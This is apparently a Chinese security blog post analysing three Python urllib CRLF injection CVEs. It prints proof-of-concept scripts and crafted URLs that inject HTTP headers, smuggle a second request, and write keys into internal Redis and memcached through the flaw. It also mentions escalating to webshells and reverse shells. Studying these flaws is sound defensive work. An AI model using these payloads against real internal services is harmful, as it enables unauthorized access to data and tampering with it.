0x00 前言

Python urllib CRLF注入漏洞是很早的东西了,但是19年又新爆出两个CVE,这里就比较下这几个CVE利用注意点及区别吧。

0x01 CRLF注入漏洞

CRLF是“回车 + 换行”(\r\n)的简称,十六进制,码为0x0d和0x0a。在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP内容并显示出来。因此,当我们能够控制HTTP消息头中的字符,注入一些恶意的换行比如一些会话Cookie或者HTML代码,这就是CRLF注入。

具体的可看到wooyun之前的文章:https://wooyun.js.org/drops/CRLF%20Injection%E6%BC%8F%E6%B4%9E%E7%9A%84%E5%88%A9%E7%94%A8%E4%B8%8E%E5%AE%9E%E4%BE%8B%E5%88%86%E6%9E%90.html

0x02 CVE-2016-5699

影响版本

urllib2 and urllib in CPython (aka Python) before 2.7.10 and 3.x before 3.4.4

特征

正常访问URL:

http://10.10.10.10:8080

CRLF注入,注入点在IP地址和端口号的分隔符即:前面:

http://10.10.10.10\r\nx-injected: header\r\ntest:8080

PoC

这部分直接引自参考的文章。

HTTP协议解析host的时候可以接受百分号编码的值,解码,然后包含在HTTP数据流里面,但是没有进一步的验证或者编码,这就可以注入一个换行符。

漏洞验证代码如下,fetch3.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

url = sys.argv[1]

try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)

本地开启nc监听端口:

1
nc -l -p 12345

接着,正常运行访问:

1
./fetch3.py http://127.0.0.1:12345/foo

在nc中会接收到如下报文:

1
2
3
4
5
GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Connection: close
Host: 127.0.0.1:12345

现在,我们在IP地址和端口之间的分隔符即:之前进行CRLF注入,尝试注入两个HTTP头字段:

1
./fetch3.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo

然后在nc中接收到如下报文:

1
2
3
4
5
6
7
GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
X-injected: header
x-leftover: :12345
Connection: close

可以看到,请求是正常发送的,并且在Host头字段处获取主机IP地址时成功进行了CRLF注入,即将X-injected和x-leftover这两个头字段都注入了进去。至此,攻击者就可以注入任意的HTTP头字段了。

另外,在针对的是域名而非IP地址的场景进行利用的时候有个注意点,就是在域名后进行CRLF注入之前要插入一个空字符如%00,这样才能顺利地进行DNS查询。

比如下面的CRLF注入会URL解析失败:

1
http://localhost%0d%0ax-bar:%20:12345/foo

但是下面的URL是可以正常解析并访问到127.0.0.1的:

1
http://localhost%00%0d%0ax-bar:%20:12345/foo

源码分析

参考这篇文章即可:[CVE-2016-5699] Python HTTP header injection in urllib/urllib2

0x03 CVE-2019-9740

影响版本

urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3

特征

正常访问URL:

http://10.10.10.10:8080/test/?test=a

CRLF注入,注入点在IP地址和端口号的分隔符即:前面,但是和前者的区别在于注入新的端口:

http://10.10.10.10:1234?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123:8080/test/?test=a

PoC

官网的PoC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

host = "192.168.10.137:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
url = "http://" + host + ":8080/test/?test=a"

try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)

在Kali开启nc监听7777端口:

1
nc -lvp 7777

然后运行PoC脚本后,在Kali端接收到请求,可以看到请求报文中是成功CRLF注入了HTTP头字段的:

接着,我们试下攻击Redis,修改PoC脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

host = "192.168.10.137:6379?\r\nSET hacker mi1k7ea\r\n"
url = "http://" + host + ":8080/test/?test=a"

try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)

运行脚本,显示报错:

虽然报错,但是在Kali中的Redis中成功创建了新的键值数据,也就是说成功通过Python urllib CRLF注入实现攻击Redis:

源码分析

参考这篇文章即可:CVE-2019-9740 Python urllib CRLF injection vulnerability 浅析

0x04 CVE-2019-9947

影响版本

urllib2 in Python 2.x through 2.7.16 and urllib in Python 3.x through 3.7.3

特征

正常访问URL:

http://10.10.10.10:8080

CRLF注入,注入点在端口号后面:

http://10.10.10.10:8080/?q=HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n

http://10.10.10.10:8080/HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n

PoC

官网的PoC:

1
2
3
4
5
import urllib.request

urllib.request.urlopen('http://192.168.10.137:7777/?q=HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n')
# 或者
#urllib.request.urlopen('http://192.168.10.137:7777/HTTP/1.1\r\nHeader: Value\r\nHeader2: \r\n')

在Kali开启nc监听7777端口:

1
nc -lvp 7777

然后运行PoC脚本后,在Kali端接收到请求,可以看到两种形式的请求报文中都是成功CRLF注入了HTTP头字段的:

接着修改下PoC脚本来打内网Redis:

1
2
3
import urllib.request

urllib.request.urlopen('http://192.168.10.137:6379/?q=HTTP/1.1\r\nSET VULN POC\r\nHeader2:\r\n')

运行之后虽然报错,但在Kali的Redis中成功创建了新的键值数据,也就是说成功通过Python urllib CRLF注入实现攻击Redis:

0x05 漏洞组合拳

Http Request Smuggling

HRS即HTTP请求走私,在2005年的时候已被提出,只是最近圈内比较重视敏感信息泄露这块才被重新关注,可参考:

比如原始请求如下:

1
2
3
4
5
GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
Connection: close

根据HRS,攻击者可以追加注入一个完整的HTTP请求头:

1
http://127.0.0.1%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aPOST%20%2fbar%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0aContent-Length%3a%2031%0d%0a%0d%0a%7b%22new%22%3a%22json%22%2c%22content%22%3a%22here%22%7d%0d%0a:12345/foo

此时请求包内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
Connection: Keep-Alive

POST /bar HTTP/1.1
Host: 127.0.0.1
Content-Length: 31

{"new":"json","content":"here"}
:12345
Connection: close

该请求在Apache HTTPD下是能成功利用的,但在其他的Web容器中就不一定能正确地解析利用了,这是需要前端服务和后端服务解析的二义性才能导致HRS攻击成功。

这种攻击可以用在内网攻击上,比如无认证的Rest接口等。

Redis未授权访问漏洞

如果Redis在本地未设置密码验证即存在未授权访问漏洞,那么攻击者可以组合Python urllib CRLF注入漏洞来攻击利用Redis未授权访问漏洞,通过其备份文件的功能实现写WebShell、SSH公钥和定时任务反弹shell等等。

参考:Hack Redis via Python urllib HTTP Header Injection

Memcached未授权访问漏洞

Memcached是一套常用的key-value缓存系统,由于它本身没有权限控制模块,即使没有对外开放端口,但攻击者还是可以组合Python urllib CRLF注入漏洞来通过命令交互来直接读入Memcached中的敏感信息。

如果我们可以控制内网的Python访问一个URL,然后我们就可以轻松的访问memcached了,比如

1
http://127.0.0.1%0d%0aset%20foo%200%200%205%0d%0aABCDE%0d%0a:11211/foo

就会产生下面的HTTP头

1
2
3
4
5
6
7
8
GET /foo HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
set foo 0 0 5
ABCDE
:11211

当检查下面几行memcached的协议语法的时候,大部分都是语法错误,但是memcached在收到错误的命令的时候并不会关闭连接,这样攻击者就可以在请求的任何位置注入命令了,然后memcached就会执行。下面是memcached的响应(memcached是Debian下包管理默认配置安装的)

1
2
3
4
5
6
7
8
ERROR
ERROR
ERROR
ERROR
ERROR
STORED
ERROR
ERROR

经过确认,memcached中确实成功的插入了foo的值。这种场景下,攻击者就可以给内网的memcached实例发送任意命令了。如果应用依赖于memcached中存储的数据(比如用户的session数据,HTML或者其他的敏感数据),攻击者可能获取应用更高的权限了。这个利用方式还可以造成拒绝服务攻击,就是攻击者可以在memcached中存储大量的数据。

0x06 参考

CVE-2019-9740 Python urllib CRLF injection vulnerability 浅析

Python urllib HTTP头注入漏洞